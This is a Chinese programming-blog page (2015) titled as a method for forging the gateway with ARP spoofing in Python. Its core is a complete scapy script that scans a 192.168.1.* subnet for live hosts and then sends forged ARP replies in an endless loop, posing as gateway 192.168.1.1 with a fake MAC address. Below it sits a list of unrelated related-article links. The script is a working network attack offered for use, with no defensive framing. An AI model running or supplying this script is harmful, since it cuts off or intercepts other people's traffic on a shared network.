python使用arp欺骗伪造网关的方法

 更新时间:2015年04月24日 15:18:27   作者:feiwen  
这篇文章主要介绍了python使用arp欺骗伪造网关的方法,涉及Python伪造网关的相关技巧,需要的朋友可以参考下

本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:

#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
  #伪造来自网关的arp应答
  t=p
  t.hwdst=hw
  t.pdst=ip
  send(t)
def get_host():
  #得到在线主机的mac地址和对应ip地址 
  hw_ip = {}
  sys.stdout = open('host.info','w')
  arping(IPADDR)
  sys.stdout = stdout
  f = open('host.info','r')
  info = f.readlines()
  f.close
  del info[0]
  del info[0]
  for host in info :
    temp = re.split(r'\s+',host)
    hw_ip[temp[1]] = temp[2]
  return hw_ip
if __name__ == "__main__":
  hw_ip = get_host()
  while 1 :
    for i in hw_ip :
      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述对大家的Python程序设计有所帮助。

相关文章

  • python第三方库easydict的使用实例详解

    python第三方库easydict的使用实例详解

    在 Python 中当我们需要访问字典中的元素的时候,我们需要使用类似 a['example'] 的形式来进行使用,这个时候就可以使用 easydict 这个模块了,今天通过本文给大家讲解python第三方库easydict的使用,感兴趣的朋友跟随小编一起看看吧
    2022-11-11
  • 关于Tensorflow 模型持久化详解

    关于Tensorflow 模型持久化详解

    今天小编就为大家分享一篇关于Tensorflow 模型持久化详解,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2020-02-02
  • Python matplotlib绘图可视化知识点整理(小结)

    Python matplotlib绘图可视化知识点整理(小结)

    这篇文章主要介绍了Python matplotlib绘图可视化知识点整理(小结),小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2018-03-03
  • pytorch 实现cross entropy损失函数计算方式

    pytorch 实现cross entropy损失函数计算方式

    今天小编就为大家分享一篇pytorch 实现cross entropy损失函数计算方式,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2020-01-01
  • pytorch 液态算法实现瘦脸效果

    pytorch 液态算法实现瘦脸效果

    在PS中,我们可以利用液化工具对人像进行形变处理,例如瘦脸、瘦腿、放大眼睛等一系列的常规操作。今天我们来了解一下这些操作的算法原理,并用pytorch来实现瘦脸效果
    2021-11-11
  • Facebook开源一站式服务python时序利器Kats详解

    Facebook开源一站式服务python时序利器Kats详解

    这篇文章主要为答案及介绍了Facebook开源一站式服务python时序利器Kats的功能详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步
    2021-11-11
  • Python设置Socket代理及实现远程摄像头控制的例子

    Python设置Socket代理及实现远程摄像头控制的例子

    这篇文章主要介绍了Python设置Socket代理及实现远程摄像头控制的例子,皆是对socket模块的实际运用,需要的朋友可以参考下
    2015-11-11
  • 解决python3.5 正常安装 却不能直接使用Tkinter包的问题

    解决python3.5 正常安装 却不能直接使用Tkinter包的问题

    今天小编就为大家分享一篇解决python3.5 正常安装 却不能直接使用Tkinter包的问题,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2019-02-02
  • Python作用域用法实例详解

    Python作用域用法实例详解

    这篇文章主要介绍了Python作用域用法,结合实例形式详细分析了Python作用域概念,用法与相关函数的使用技巧,需要的朋友可以参考下
    2016-03-03
  • 使用Selenium实现微博爬虫(预登录、展开全文、翻页)

    使用Selenium实现微博爬虫(预登录、展开全文、翻页)

    这篇文章主要介绍了使用Selenium实现微博爬虫(预登录、展开全文、翻页),文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2021-04-04

最新评论